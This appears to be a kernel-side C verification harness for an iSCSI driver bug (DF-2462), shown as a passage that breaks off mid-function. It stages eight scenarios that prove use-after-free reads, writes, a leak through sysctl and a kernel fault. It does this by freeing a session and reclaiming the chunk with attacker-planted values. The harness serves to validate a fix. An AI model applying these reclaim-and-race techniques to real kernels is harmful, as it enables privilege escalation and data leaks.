/*
 * DF-2462 verification harness -- POSTAMBLE (df_post.c).
 *
 * Fabricates the driver state around the verbatim code (one isc_softc,
 * one session with real mutexes/queues/registered sysctl OIDs, a
 * fabricated cam_sim/cdev), then drives the scenarios through a
 * sysctl control interface:
 *
 *   sysctl df2462.run=N     run scenario N (kernel-side)
 *   sysctl df2462.out       print the collected DF2462[...] report
 *
 * Scenarios (see README.md):
 *   0  control: normal ic_action (PATH_INQ) + stats handler on a live
 *      session, then a normal teardown.  Everything clean; values are
 *      the A/B reference for the fixed kernel.
 *   1  in-window concurrent CAM read: ism_stop parked right after
 *      ic_lost_target (sdebug stall), PATH_INQ issued from the runner
 *      thread while sessions[sid] is still != NULL.
 *   2  UAF READ (CAM): victim parked in verbatim ic_action between
 *      sessions[] lookup (:211) and the sp->opt.maxluns read (:254);
 *      teardown completes (kfree + attacker reclaim); victim resumes
 *      and reads the freed chunk.
 *   3  UAF READ (sysctl): victim parked inside verbatim isc_dump_stats
 *      before touching sp; teardown completes; victim resumes and the
 *      handler exports freed-chunk contents through SYSCTL_OUT.
 *   4  UAF WRITE (CAM): victim parked in ic_action, SCSI_IO; teardown
 *      completes; victim resumes: scsi_encap -> dwl + isc_qout ->
 *      i_nqueue_csnd WRITE into the freed (attacker-reclaimed) chunk.
 *   5  FAULT mode: as 4, but the reclaim leaves garbage queue heads:
 *      the victim's TAILQ_INSERT_TAIL writes through 0xBEBEBEBE... ->
 *      kernel fault (chunk-reused-by-unrelated-allocation case).
 *   6  unprivileged reachability: teardown parked in-window; the
 *      per-session OIDs are read from USERLAND by an unprivileged
 *      user (run.sh does the reads, then sets df2462.s6done=1).
 *   7  natural race: create/teardown loop with attacker-reclaim
 *      (garbage isc) while an unprivileged user hammers the stats
 *      OID from userland; a handler that survives into the freed
 *      chunk faults on sc = sp->isc -> 0xAEAE... (panic).
 */

#include <sys/kernel.h>
#include <sys/sysctl.h>
#include <sys/thread.h>
#include <sys/thread2.h>
#include <sys/time.h>

/* verbatim statics are defined earlier in this same TU (the
   concatenated isc_sm.c / isc_cam.c slices); no forward decls needed */

/* the globals iscsivar.h declares (their definitions must follow the
   verbatim text's extern declarations under -Wredundant-decls) */
int iscsi_debug = 4;
struct lock iscsi_dbg_lock;
MALLOC_DEFINE(M_ISCSI, "iSCSI", "iSCSI driver (DF-2462 rig)");

/*
 * The fabricated driver softc.  This is the GLOBAL `isc` the FIXED
 * driver text references (isc_sess_lookup / isc_sess_rele), defined
 * here; on the baseline tree it is simply a harness-owned global.
 */
struct isc_softc isc;
#define dfh_sc	isc

/* ------------------------------------------------------------------ */
/* ---- shim bodies (declared by iscsivar.h via the df_pre renames) - */
/* ------------------------------------------------------------------ */

/* STALL-0: park the teardown at isc_sm.c:734 */
void
dfh_isc_stop_receiver(isc_session_t *sp)
{
	if (dfh_stall0_armed) {
		dfh_stall0_armed = 0;
		dfh_gate_set(&dfh_stop_parked, 1);
		dfh_gate_wait(&dfh_release_stop, 1, "dfhs0");
		dfh_release_stop = 0;
	}
	/* the real receiver teardown is not modeled: no receiver runs */
}

void
dfh_isc_start_receiver(isc_session_t *sp)
{
	/* never called: the verbatim text compiled here has no caller
	   (isc_start_receiver's caller iscsi.c is not in this TU) */
}

int  dfh_isc_sendPDU(isc_session_t *sp, pduq_t *pq) { return 0; }
int  dfh_iscsi_requeue(isc_session_t *sp) { return 0; }
void dfh_iscsi_async(isc_session_t *sp, pduq_t *pq) { }
void dfh_iscsi_reject(isc_session_t *sp, pduq_t *opq, pduq_t *pq) { }
void dfh_iscsi_r2t(isc_session_t *sp, pduq_t *opq, pduq_t *pq) { }
void dfh_iscsi_done(isc_session_t *sp, pduq_t *opq, pduq_t *pq) { }
int  dfh_scsi_decap(isc_session_t *sp, pduq_t *opq, pduq_t *pq) { return 0; }
int  dfh_ic_fullfeature(struct cdev *d) { return 0; }
void dfh_iscsi_cleanup(isc_session_t *sp) { }
int  dfh_i_pdu_flush(isc_session_t *sp) { return 0; }

/* ------------------------------------------------------------------ */
/* ---- dfh_kfree body: real free + attacker reclaim of the session - */
/* ------------------------------------------------------------------ */
static void
dfh_kfree(void *addr, struct malloc_type *type)
{
	isc_session_t *rs;
	size_t sz = sizeof(isc_session_t);

	if (addr == NULL)
		return;
	if (addr == (void *)dfh_sp)
		dfh_free_seen = 1;
	if (addr != (void *)dfh_sp || dfh_poison_mode == DFH_MODE_STALE) {
		_kfree(addr, type);
		return;
	}
	/*
	 * The session chunk.  Free it for real, then immediately
	 * reclaim it with the same size/type allocation -- the zone's
	 * LIFO behaviour returns the same address -- and fill it as an
	 * attacker-controlled object.
	 */
	dfh_poison_hits++;
	dfh_reclaim = NULL;
	_kfree(addr, type);
	rs = kmalloc(sz, M_ISCSI, M_WAITOK | M_ZERO);
	dfh_reclaim = rs;
	if ((void *)rs != addr)
		dfh_outp("DF2462[note] reclaim moved: %p -> %p (continue)\n",
			 addr, rs);
	if (dfh_poison_mode == DFH_MODE_FIXUP) {
		/*
		 * Attacker fully controls the former session object:
		 * valid mutexes and queues so the victim's operations
		 * complete silently, chosen field values.
		 */
		memset(rs, 0xBE, sz);
		mtx_init(&rs->rsp_mtx, "dfhb1");
		mtx_init(&rs->rsv_mtx, "dfhb2");
		mtx_init(&rs->snd_mtx, "dfhb3");
		mtx_init(&rs->hld_mtx, "dfhb4");
		mtx_init(&rs->io_mtx,  "dfhb5");
		TAILQ_INIT(&rs->rsp);
		TAILQ_INIT(&rs->rsv);
		TAILQ_INIT(&rs->csnd);
		TAILQ_INIT(&rs->isnd);
		TAILQ_INIT(&rs->wsnd);
		TAILQ_INIT(&rs->hld);
		rs->opt.maxluns = 0x51515151;	/* planted: PATH_INQ read */
		rs->opt.maxBurstLength = 0;	/* pass i_prepPDU check */
		rs->hdrDigest = NULL;
		rs->dataDigest = NULL;
		rs->target_nluns = 0;		/* dwl writes target_lun[0] */
		rs->stats.ncsnd = 0x52525252;	/* i_nqueue_csnd ++/write */
		rs->stats.max_csnd = 0x53535353;
		rs->stats.nrecv = 0x61616161;	/* isc_dump_stats read */
		rs->stats.nsent = 0x62626262;
		rs->flags = 0x50505050;		/* isc_dump_stats/isc_qout
					   (0x...50 pattern: ISC_OQNOTEMPTY
					   NOT pre-set, so the isc_qout OR is
					   observable) */
		rs->cws = 0x65656565;
		rs->sn.cmd = 0x66666666;
		rs->sn.expCmd = 0x67676767;
		rs->sn.maxCmd = 0x68686868;
		rs->sn.stat = 0x69696969;
		rs->sn.itt = 0x6a6a6a6a;
		if (dfh_plant_garbage_isc)
			rs->isc = (struct isc_softc *)0xAEAEAEAEAEAEAEAEUL;
		else
			rs->isc = &dfh_sc;	/* keep stats handler alive */
		rs->sid = 0x6b6b6b6b;
	} else {
		/*
		 * DFH_MODE_FAULT: chunk reused by an unrelated
		 * allocation whose bytes are garbage.  Keep the mutexes
		 * formally valid (so the victim reaches the queue write)
		 * but leave the TAILQ heads at 0xBE... -- the victim's
		 * TAILQ_INSERT_TAIL then writes through a wild pointer:
		 * the realistic kernel fault.
		 */
		memset(rs, 0xBE, sz);
		mtx_init(&rs->snd_mtx, "dfhb3");
		mtx_init(&rs->io_mtx,  "dfhb5");
		mtx_init(&rs->rsp_mtx, "dfhb1");
		mtx_init(&rs->rsv_mtx, "dfhb2");
		mtx_init(&rs->hld_mtx, "dfhb4");
	}
}

/* control/sysctl nodes (declared before use) */
static SYSCTL_NODE(_debug, OID_AUTO, df2462, CTLFLAG_RD, 0,
		   "DF-2462 verification rig");
static SYSCTL_NODE(_debug_df2462, OID_AUTO, sess, CTLFLAG_RD, 0,
		   "fabricated iscsi sessions");

static struct cam_path *dfh_fake_path = (struct cam_path *)0x1000;
					/* opaque type: non-NULL sentinel; the
					   xpt_async/xpt_free_path shims never
					   dereference it */
static struct thread *dfh_tstop, *dfh_tvictim;
static int dfh_sid = 7;
static volatile int dfh_s6done;
static volatile int dfh_s7_cycles;
static int dfh_s7_ms = 20000;

/* forward: resolve the registered per-session stats OID (arg1 differs
   between baseline (sp) and FIXED (sid) trees) */
static void	*dfh_registered_stats_oid(struct sysctl_oid **oidp);

/* ---- sysctl_req capture (S0/S3: what the handler exported) ---- */
static int
dfh_oldfunc(struct sysctl_req *req, const void *ptr, size_t len)
{
	if (dfh_req_len + len < sizeof(dfh_req_buf)) {
		memcpy(dfh_req_buf + dfh_req_len, ptr, len);
		dfh_req_len += len;
	}
	return 0;
}

/* ------------------------------------------------------------------ */
/* ---- fabrication -------------------------------------------------- */
/* ------------------------------------------------------------------ */
static int dfh_inited;

static void
dfh_fabricate_once(void)
{
	pduq_t *pq;

	if (dfh_inited)
		return;
	dfh_inited = 1;
	lockinit(&dfh_out_lock, "dfho", 0, 0);
	lockinit(&dfh_sc.lock, "dfhsc", 0, 0);
	lockinit(&dfh_sc.pdu_lock, "dfhpd", 0, 0);
	lockinit(&dfh_sc.cam_lock, "dfhcam", 0, LK_CANRECURSE);
	TAILQ_INIT(&dfh_sc.isc_sess);
	TAILQ_INIT(&dfh_sc.freepdu);
	dfh_sc.oid = &sysctl___debug_df2462_sess;

	/* si_name is all the verbatim code reads from the cdev */
	dfh_fake_dev = kmalloc(sizeof(struct cdev), M_ISCSI,
			       M_WAITOK | M_ZERO);
	ksnprintf(dfh_fake_dev->si_name, sizeof(dfh_fake_dev->si_name),
		  "iscsi%d", dfh_sid);

	/* fabricated sim: ic_action reads softc/name/unit/bus */
	dfh_sim = kmalloc(sizeof(struct cam_sim), M_ISCSI, M_WAITOK | M_ZERO);
	dfh_sim->sim_action = ic_action;	/* for the record */
	dfh_sim->sim_name = "dfhisc";
	dfh_sim->softc = &dfh_sc;
	dfh_sim->unit_number = 0;
	dfh_sim->bus_id = 0;
	spin_init(&dfh_sim->sim_spin, "dfhsim");
	TAILQ_INIT(&dfh_sim->sim_doneq);

	/* two real pdus on the freepdu list (pdu_alloc is the real inline) */
	dfh_freepdu_store = kmalloc(2 * sizeof(pduq_t), M_ISCSI,
				    M_WAITOK | M_ZERO);
	pq = (pduq_t *)dfh_freepdu_store;
	TAILQ_INSERT_TAIL(&dfh_sc.freepdu, pq, pq_link);
	TAILQ_INSERT_TAIL(&dfh_sc.freepdu, pq + 1, pq_link);
}

static void
dfh_session_create(void)
{
	isc_session_t *sp;

	dfh_fabricate_once();

	sp = kmalloc(sizeof(isc_session_t), M_ISCSI, M_WAITOK | M_ZERO);
	dfh_sp = sp;
	dfh_free_seen = 0;
	dfh_reclaim = NULL;
	dfh_poison_hits = 0;

	sp->isc = &dfh_sc;
	sp->sid = dfh_sid;
	sp->flags = 0;		/* SM_RUN|SM_RUNNING clear: the :740-744
				   wait loop is skipped deterministically */
	sp->dev = dfh_fake_dev;
	sp->cam_path = dfh_fake_path;
	sp->opt.maxluns = 3;
	sp->opt.maxBurstLength = 0;
	sp->stats.nrecv = 111;
	sp->stats.nsent = 222;
	sp->target_nluns = 1;
	sp->target_lun[0] = 0;
	sp->opt.targetAddress = kstrdup("10.9.8.7:3260", M_ISCSI);
	sp->opt.targetName = kstrdup("iqn.2000-05.example.harness:t7", M_ISCSI);
	sp->opt.initiatorName = kstrdup("iqn.2000-05.example.harness:i", M_ISCSI);

	/* what verbatim ism_start() would set up (minus the kthread) */
	mtx_init(&sp->rsp_mtx, "dfhr1");
	mtx_init(&sp->rsv_mtx, "dfhr2");
	mtx_init(&sp->snd_mtx, "dfhr3");
	mtx_init(&sp->hld_mtx, "dfhr4");
	mtx_init(&sp->io_mtx,  "dfhr5");
	TAILQ_INIT(&sp->rsp);
	TAILQ_INIT(&sp->rsv);
	TAILQ_INIT(&sp->csnd);
	TAILQ_INIT(&sp->isnd);
	TAILQ_INIT(&sp->wsnd);
	TAILQ_INIT(&sp->hld);

	isc_add_sysctls(sp);		/* VERBATIM: real OID registration */

	lockmgr(&dfh_sc.lock, LK_EXCLUSIVE);
	TAILQ_INSERT_TAIL(&dfh_sc.isc_sess, sp, sp_link);
	dfh_sc.nsess++;
	dfh_sc.sessions[dfh_sid] = sp;
	lockmgr(&dfh_sc.lock, LK_RELEASE);
}

static void
dfh_teardown_normal(void)
{
	ism_stop(dfh_sp);				/* VERBATIM */
}

/* ------------------------------------------------------------------ */
/* ---- victim threads ----------------------------------------------- */
/* ------------------------------------------------------------------ */
struct dfh_varg {
	int	func_code;		/* XPT_PATH_INQ / XPT_SCSI_IO */
	u_int32_t observed_max_lun;
	u_int32_t observed_status;
	int	observed_error;
};

static void
dfh_cam_victim(void *arg)
{
	struct dfh_varg *va = arg;
	union ccb *ccb;

	ccb = kmalloc(sizeof(union ccb), M_ISCSI, M_WAITOK | M_ZERO);
	ccb->ccb_h.func_code = va->func_code;
	ccb->ccb_h.target_id = dfh_sid;
	ccb->ccb_h.target_lun = 0;
	ccb->ccb_h.flags = CAM_DIR_IN;
	if (va->func_code == XPT_SCSI_IO) {
		ccb->csio.tag_action = MSG_SIMPLE_Q_TAG;
		ccb->csio.cdb_len = 6;
		ccb->csio.cdb_io.cdb_bytes[0] = 0x00;	/* TEST UNIT READY */
	}

	ic_action(dfh_sim, ccb);			/* VERBATIM */

	if (va->func_code == XPT_PATH_INQ)
		va->observed_max_lun = ccb->cpi.max_lun;
	va->observed_status = ccb->ccb_h.status;
	_kfree(ccb, M_ISCSI);

	dfh_gate_set(&dfh_victim_done, 1);
	kthread_exit();
}

static void
dfh_stats_victim(void *arg)
{
	struct dfh_varg *va = arg;
	struct sysctl_req req;
	struct sysctl_oid *oid;
	void *arg1;

	/*
	 * Invoke the verbatim handler exactly the way the sysctl
	 * middleware does: with the arg1 the REGISTERED oid carries
	 * (baseline tree: the raw sp pointer; FIXED tree: the sid).
	 */
	arg1 = dfh_registered_stats_oid(&oid);
	memset(&req, 0, sizeof(req));
	req.oldfunc = dfh_oldfunc;
	dfh_req_len = 0;
	dfh_req_buf[0] = 0;

	va->observed_error = isc_dump_stats(oid, arg1, 0, &req); /* VERBATIM */

	dfh_gate_set(&dfh_victim_done, 1);
	kthread_exit();
}

static void
dfh_stop_thread(void *arg)
{
	ism_stop(dfh_sp);				/* VERBATIM */
	dfh_gate_set(&dfh_stop_done, 1);
	kthread_exit();
}

static void
dfh_join(volatile int *done, const char *wmesg)
{
	int n;

	for (n = 0; n < 480 && *done == 0; n++)
		tsleep((void *)(uintptr_t)done, 0, wmesg, hz / 4);
	*done = 0;
}

/*
 * Wait until the teardown thread either finished (BASELINE tree:
 * ism_stop has no drain, it runs to kfree while the victim is
 * parked) or is visibly blocked in the FIXED tree's refs drain
 * (stop_done still 0 after the grace period, session already
 * detached from sessions[]).
 */
static void
dfh_join_stop_or_drain(void)
{
	int n;

	for (n = 0; n < 40; n++) {		/* up to 10s */
		kprintf("DF2462DBG jsd: n=%d stop_done=%d sess=%p\n",
			n, dfh_stop_done, isc.sessions[dfh_sid]);
		if (dfh_stop_done)
			return;
		if (n >= 8 && isc.sessions[dfh_sid] == NULL)
			return;			/* parked in the drain */
		tsleep(&dfh_stop_done, 0, "dfhwd", hz / 4);
	}
}

/* wait for the teardown thread to finish (drain releases on FIXED) */
static void
dfh_join_stop_long(void)
{
	dfh_join(&dfh_stop_done, "dfhjs2");
}

/* ------------------------------------------------------------------ */
/* ---- scenario runner ---------------------------------------------- */
/* ------------------------------------------------------------------ */
static void
dfh_run_ccb(int func_code, const char *tag)
{
	union ccb *ccb = kmalloc(sizeof(union ccb), M_ISCSI,
				 M_WAITOK | M_ZERO);

	ccb->ccb_h.func_code = func_code;
	ccb->ccb_h.target_id = dfh_sid;
	ccb->ccb_h.target_lun = 0;
	ccb->ccb_h.flags = CAM_DIR_IN;
	if (func_code == XPT_SCSI_IO) {
		ccb->csio.tag_action = MSG_SIMPLE_Q_TAG;
		ccb->csio.cdb_len = 6;
		ccb->csio.cdb_io.cdb_bytes[0] = 0x00;
	}
	ic_action(dfh_sim, ccb);			/* VERBATIM */
	if (func_code == XPT_PATH_INQ)
		dfh_outp("DF2462[%s] PATH_INQ: status=0x%x max_lun=%d\n",
			 tag, ccb->ccb_h.status, ccb->cpi.max_lun);
	else
		dfh_outp("DF2462[%s] SCSI_IO: status=0x%x\n",
			 tag, ccb->ccb_h.status);
	_kfree(ccb, M_ISCSI);
}

static int
dfh_sysctl_is_stats(struct sysctl_oid *oid)
{
	return oid->oid_handler == (int (*)(SYSCTL_HANDLER_ARGS))
					isc_dump_stats;
}

/*
 * Find the per-session "stats" OID registered by the verbatim
 * isc_add_sysctls() and return (oidp, oid_arg1) -- the middleware's
 * exact invocation arguments (baseline: arg1 = sp; FIXED: arg1 = sid).
 */
static void *
dfh_registered_stats_oid(struct sysctl_oid **oidp)
{
	struct sysctl_oid_list *top = SYSCTL_CHILDREN(isc.oid);
	struct sysctl_oid *n7, *ch;

	SLIST_FOREACH(n7, top, oid_link) {
		if (n7->oid_name != NULL &&
		    strcmp(n7->oid_name, "7") == 0) {
			SLIST_FOREACH(ch, SYSCTL_CHILDREN(n7), oid_link) {
				if (dfh_sysctl_is_stats(ch)) {
					*oidp = ch;
					return ch->oid_arg1;
				}
			}
		}
	}
	*oidp = isc.oid;
	return NULL;
}

static void
dfh_run_stats(const char *tag)
{
	struct sysctl_req req;
	struct sysctl_oid *oid;
	void *arg1 = dfh_registered_stats_oid(&oid);

	memset(&req, 0, sizeof(req));
	req.oldfunc = dfh_oldfunc;
	dfh_req_len = 0;
	dfh_req_buf[0] = 0;
	isc_dump_stats(oid, arg1, 0, &req);		 /* VERBATIM */
	dfh_outp("DF2462[%s] stats handler: '%s'\n", tag, dfh_req_buf);
}

static int
dfh_run_scenario(int s)
{
	struct dfh_varg va;
	isc_session_t *rc;
	u_int32_t pre_ncsnd = 0, post_ncsnd = 0, pre_flags = 0, post_flags = 0;
	int pre_nluns = 0, post_nluns = 0, proven;

	memset(&va, 0, sizeof(va));

	switch (s) {
	case 0: /* -------- control -------- */
		dfh_session_create();
		dfh_poison_mode = DFH_MODE_STALE;
		dfh_plant_garbage_isc = 0;
		dfh_run_ccb(XPT_PATH_INQ, "S0");
		dfh_run_stats("S0");
		dfh_teardown_normal();
		dfh_outp("DF2462[S0] teardown clean: free_seen=%d "
			 "sessions[%d]=%p\n",
			 dfh_free_seen, dfh_sid, dfh_sc.sessions[dfh_sid]);
		break;

	case 1: /* -------- in-window concurrent CAM read -------- */
		dfh_session_create();
		dfh_poison_mode = DFH_MODE_STALE;
		dfh_plant_garbage_isc = 0;
		dfh_stall2_armed = 1;
		kthread_create(dfh_stop_thread, NULL, &dfh_tstop, "dfhst");
		dfh_gate_wait(&dfh_stop_parked, 1, "dfhw1");
		dfh_stop_parked = 0;
		dfh_outp("DF2462[S1] teardown parked after ic_lost_target "
			 "(isc_sm.c:752 returned); sessions[%d]=%p still "
			 "set; sp=%p alive\n",
			 dfh_sid, dfh_sc.sessions[dfh_sid], (void *)dfh_sp);
		dfh_run_ccb(XPT_PATH_INQ, "S1");
		dfh_gate_set(&dfh_release_stop, 1);
		dfh_join(&dfh_stop_done, "dfhj1");
		dfh_outp("DF2462[S1] teardown completed: free_seen=%d\n",
			 dfh_free_seen);
		break;

	case 2: /* -------- UAF READ via ic_action PATH_INQ -------- */
		dfh_session_create();
		dfh_poison_mode = DFH_MODE_FIXUP;
		dfh_plant_garbage_isc = 0;
		dfh_camstall_armed = 1;
		va.func_code = XPT_PATH_INQ;
		kthread_create(dfh_cam_victim, &va, &dfh_tvictim, "dfhcv");
		dfh_gate_wait(&dfh_victim_parked, 1, "dfhw2");
		dfh_victim_parked = 0;
		dfh_outp("DF2462[S2] victim parked in ic_action after "
			 "sessions[] lookup (isc_cam.c:211), sp=%p\n",
			 (void *)dfh_sp);
		/*
		 * Teardown in its own thread: on the BASELINE tree it
		 * completes (kfree + reclaim) while the victim is parked;
		 * on the FIXED tree ism_stop blocks in the refs drain --
		 * exactly the protection being validated.  The gap lets
		 * either state settle before the victim is released.
		 */
		kthread_create(dfh_stop_thread, NULL, &dfh_tstop, "dfhst");
		tsleep(&dfh_stop_done, 0, "dfhgap", 3 * hz);
		dfh_outp("DF2462[S2] teardown state after 3s: stop_done=%d "
			 "free_seen=%d reclaimed=%p sessions[%d]=%p\n",
			 dfh_stop_done, dfh_free_seen, dfh_reclaim, dfh_sid,
			 isc.sessions[dfh_sid]);
		dfh_gate_set(&dfh_release_victim, 1);
		dfh_join(&dfh_victim_done, "dfhj2");
		if (va.observed_max_lun == 0x51515150)
			dfh_outp("DF2462[S2] *** UAF READ PROVEN: victim read "
				 "sp->opt.maxluns=0x51515151 out of the "
				 "FREED chunk -> cpi.max_lun=0x%x ***\n",
				 va.observed_max_lun);
		else if (va.observed_max_lun == 2)
			dfh_outp("DF2462[S2] max_lun=0x2 = LIVE session "
				 "value (the drain held the teardown until "
				 "the victim was done -- the FIXED "
				 "outcome)\n");
		else
			dfh_outp("DF2462[S2] max_lun=0x%x (neither freed "
				 "poison nor live value; inspect)\n",
				 va.observed_max_lun);
		break;

	case 3: /* -------- UAF READ via isc_dump_stats -------- */
		dfh_session_create();
		dfh_poison_mode = DFH_MODE_FIXUP;
		dfh_plant_garbage_isc = 0;
		dfh_statsstall_armed = 1;
		kthread_create(dfh_stats_victim, &va, &dfh_tvictim, "dfhsv");
		dfh_gate_wait(&dfh_victim_parked, 1, "dfhw3");
		dfh_victim_parked = 0;
		dfh_outp("DF2462[S3] victim parked inside isc_dump_stats "
			 "before touching sp, sp=%p\n", (void *)dfh_sp);
		kthread_create(dfh_stop_thread, NULL, &dfh_tstop, "dfhst");
		tsleep(&dfh_stop_done, 0, "dfhgap", 3 * hz);
		dfh_outp("DF2462[S3] teardown state after 3s: stop_done=%d "
			 "free_seen=%d reclaimed=%p\n",
			 dfh_stop_done, dfh_free_seen, dfh_reclaim);
		dfh_gate_set(&dfh_release_victim, 1);
		dfh_join(&dfh_victim_done, "dfhj3");
		dfh_outp("DF2462[S3] handler exported from FREED chunk: "
			 "'%s' (error=%d)\n", dfh_req_buf, va.observed_error);
		if (strstr(dfh_req_buf, "flags=0x50505050") != NULL ||
		    strstr(dfh_req_buf, "cmd=66666666") != NULL)
			dfh_outp("DF2462[S3] *** UAF READ/LEAK PROVEN: "
				 "planted attacker values (flags=0x50505050, "
				 "cws/cmd/exp/max/stat/itt 0x65..-0x6a..) from "
				 "the freed chunk surfaced in the sysctl "
				 "output ***\n");
		else if (strstr(dfh_req_buf, "recv=111") != NULL)
			dfh_outp("DF2462[S3] handler exported LIVE values "
				 "(no freed-chunk data surfaced; on the "
				 "FIXED tree this is the expected outcome: "
				 "the drain held the teardown)\n");
		break;

	case 4: /* -------- UAF WRITE via ic_action SCSI_IO -------- */
	case 5: /* -------- FAULT: garbage queue heads -------- */
		dfh_session_create();
		dfh_plant_garbage_isc = 0;
		dfh_poison_mode = (s == 4) ? DFH_MODE_FIXUP : DFH_MODE_FAULT;
		dfh_camstall_armed = 1;
		va.func_code = XPT_SCSI_IO;
		kthread_create(dfh_cam_victim, &va, &dfh_tvictim, "dfhcv");
		dfh_gate_wait(&dfh_victim_parked, 1, "dfhw4");
		dfh_victim_parked = 0;
		dfh_outp("DF2462[S%d] victim parked in ic_action (SCSI_IO) "
			 "holding sp=%p via spriv_ptr0\n", s, (void *)dfh_sp);
		kthread_create(dfh_stop_thread, NULL, &dfh_tstop, "dfhst");
		dfh_join_stop_or_drain();
		rc = (isc_session_t *)dfh_reclaim;
		if (s == 4 && rc == NULL)
			dfh_outp("DF2462[S4] no reclaim chunk (teardown "
				 "still draining: the FIXED outcome)\n");
		if (s == 4 && rc != NULL) {
			pre_ncsnd = rc->stats.ncsnd;
			pre_flags = rc->flags;
			pre_nluns = rc->target_nluns;
			dfh_outp("DF2462[S4] reclaim snapshot: ncsnd=0x%x "
				 "flags=0x%x nluns=0x%x csnd.first=%p "
				 "lun0=0x%x\n", pre_ncsnd, pre_flags,
				 pre_nluns, rc->csnd.tqh_first,
				 rc->target_lun[0]);
		}
		dfh_gate_set(&dfh_release_victim, 1);
		if (s == 5) {
			dfh_outp("DF2462[S5] victim released over FAULT "
				 "reclaim; expect kernel fault in "
				 "i_nqueue_csnd's TAILQ_INSERT_TAIL "
				 "(write through 0xBEBEBEBE...)\n");
			dfh_join(&dfh_victim_done, "dfhj5");
			dfh_join_stop_long();
			dfh_outp("DF2462[S5] victim SURVIVED (no fault; "
				 "on the FIXED tree this is the expected "
				 "outcome: the drain held the teardown "
				 "until the victim was done)\n");
			break;
		}
		dfh_join(&dfh_victim_done, "dfhj4");
		dfh_join_stop_long();
		kprintf("DF2462DBG S4: joined (rc=%p)\n", rc);
		if (rc == NULL) {
			dfh_outp("DF2462[S4] victim used the LIVE session "
				 "(drain held the teardown); no freed "
				 "chunk exists to corrupt\n");
			break;
		}
		post_ncsnd = rc->stats.ncsnd;
		post_flags = rc->flags;
		post_nluns = rc->target_nluns;
		dfh_outp("DF2462[S4] reclaim after victim: ncsnd=0x%x "
			 "flags=0x%x nluns=0x%x csnd.first=%p lun0=0x%x\n",
			 post_ncsnd, post_flags, post_nluns,
			 rc->csnd.tqh_first, rc->target_lun[0]);
		proven = 0;
		if (post_ncsnd == pre_ncsnd + 1) {
			dfh_outp("DF2462[S4] WRITE#1: sp->stats.ncsnd "
				 "incremented in freed chunk "
				 "(i_nqueue_csnd)\n");
			proven = 1;
		}
		if (post_flags == (pre_flags | ISC_OQNOTEMPTY)
			   && pre_flags != post_flags) {
			dfh_outp("DF2462[S4] WRITE#2: sp->flags |= "
				 "ISC_OQNOTEMPTY in freed chunk "
				 "(isc_qout)\n");
			proven = 1;
		}
		if (rc->csnd.tqh_first != NULL) {
			dfh_outp("DF2462[S4] WRITE#3: sp->csnd.tqh_first "
				 "set in freed chunk (TAILQ_INSERT_TAIL)\n");
			proven = 1;
		}
		if (post_nluns == 1 && rc->target_lun[0] == 0) {
			dfh_outp("DF2462[S4] WRITE#4: sp->target_lun[0] and "
				 "sp->target_nluns written in freed chunk "
				 "(dwl)\n");
			proven = 1;
		}
		if (proven)
			dfh_outp("DF2462[S4] *** UAF WRITE PROVEN: verbatim "
				 "CAM path WROTE into the FREED session "
				 "chunk ***\n");
		else
			dfh_outp("DF2462[S4] no post-free writes observed "
				 "(inspect values)\n");
		break;

	case 6: /* -------- unprivileged userland reads in-window -------- */
		dfh_session_create();
		dfh_poison_mode = DFH_MODE_STALE;
		dfh_plant_garbage_isc = 0;
		dfh_stall2_armed = 1;
		kthread_create(dfh_stop_thread, NULL, &dfh_tstop, "dfhst");
		dfh_gate_wait(&dfh_stop_parked, 1, "dfhw6");
		dfh_stop_parked = 0;
		dfh_outp("DF2462[S6] teardown parked; session OIDs still "
			 "registered; run unprivileged reads now, then "
			 "sysctl df2462.s6done=1\n");
		dfh_gate_wait(&dfh_s6done, 1, "dfhw6b");
		dfh_s6done = 0;
		dfh_gate_set(&dfh_release_stop, 1);
		dfh_join(&dfh_stop_done, "dfhj6");
		dfh_outp("DF2462[S6] teardown completed after unprivileged "
			 "reads: free_seen=%d\n", dfh_free_seen);
		break;

	case 7: { /* ------ natural race, unpriv userland hammer ------ */
		int64_t et;
		int cycles = 0;

		dfh_session_create();
		dfh_plant_garbage_isc = 1;
		dfh_poison_mode = DFH_MODE_FIXUP;
		dfh_outp("DF2462[S7] natural race starting: %d ms, "
			 "garbage-isc reclaim; hammer stats from userland "
			 "now\n", dfh_s7_ms);
		et = ticks + ((int64_t)dfh_s7_ms * hz) / 1000;
		while (ticks < et) {
			ism_stop(dfh_sp);			/* VERBATIM */
			cycles++;
			/* reclaim chunk from the previous cycle */
			if (dfh_reclaim != NULL) {
				_kfree(dfh_reclaim, M_ISCSI);
				dfh_reclaim = NULL;
			}
			dfh_session_create();
		}
		dfh_s7_cycles = cycles;
		dfh_plant_garbage_isc = 0;
		dfh_outp("DF2462[S7] loop done: %d cycles, no panic "
			 "(natural race not observed this run)\n", cycles);
		break;
	}

	default:
		return EINVAL;
	}
	return 0;
}

/* ------------------------------------------------------------------ */
/* ---- control interface -------------------------------------------- */
/* ------------------------------------------------------------------ */
/*
 * Scenarios run in a dedicated kernel thread and the control sysctl
 * NEVER blocks waiting for them: the sysctl middleware holds the
 * pcpu SHARED sysctllock across sysctl_root() (kern_sysctl.c:1573
 * "SYSCTL_SLOCK(); error = sysctl_root(...); SYSCTL_SUNLOCK();"),
 * and blocking here would deadlock ism_stop's sysctl_ctx_free, which
 * takes SYSCTL_XLOCK (EXCLUSIVE on every cpu) -- a harness bug we
 * hit and fixed, not a driver behavior.  run.sh polls df2462.busy.
 */
static volatile int dfh_scenario_busy;
static volatile int dfh_scenario_rc;
static volatile int dfh_scenario_done;
static struct thread *dfh_trunner;

static void
dfh_runner_thread(void *arg)
{
	int s = (int)(intptr_t)arg;

	dfh_scenario_rc = dfh_run_scenario(s);
	dfh_gate_set(&dfh_scenario_done, 1);
	dfh_scenario_busy = 0;
	wakeup("dfhrundone");
	kthread_exit();
}

static int
dfh_sysctl_run(SYSCTL_HANDLER_ARGS)
{
	int v = 0, error;

	error = sysctl_handle_int(oidp, &v, 0, req);
	kprintf("DF2462DBG run: v=%d error=%d newptr=%p busy=%d trunner=%p\n",
		v, error, req->newptr ? req->newptr : 0,
		dfh_scenario_busy, dfh_trunner);
	if (error != 0 || req->newptr == NULL)
		return error;
	if (dfh_scenario_busy) {
		dfh_outp("DF2462[run] busy: scenario still running\n");
		return EBUSY;
	}
	if (dfh_trunner != NULL) {
		/* reap a finished previous runner (interactive S6/S7) */
		if (dfh_scenario_done) {
			dfh_scenario_done = 0;
			dfh_trunner = NULL;
		} else {
			return EBUSY;
		}
	}
	dfh_scenario_done = 0;
	dfh_scenario_busy = 1;
	kprintf("DF2462DBG run: starting scenario %d\n", v);
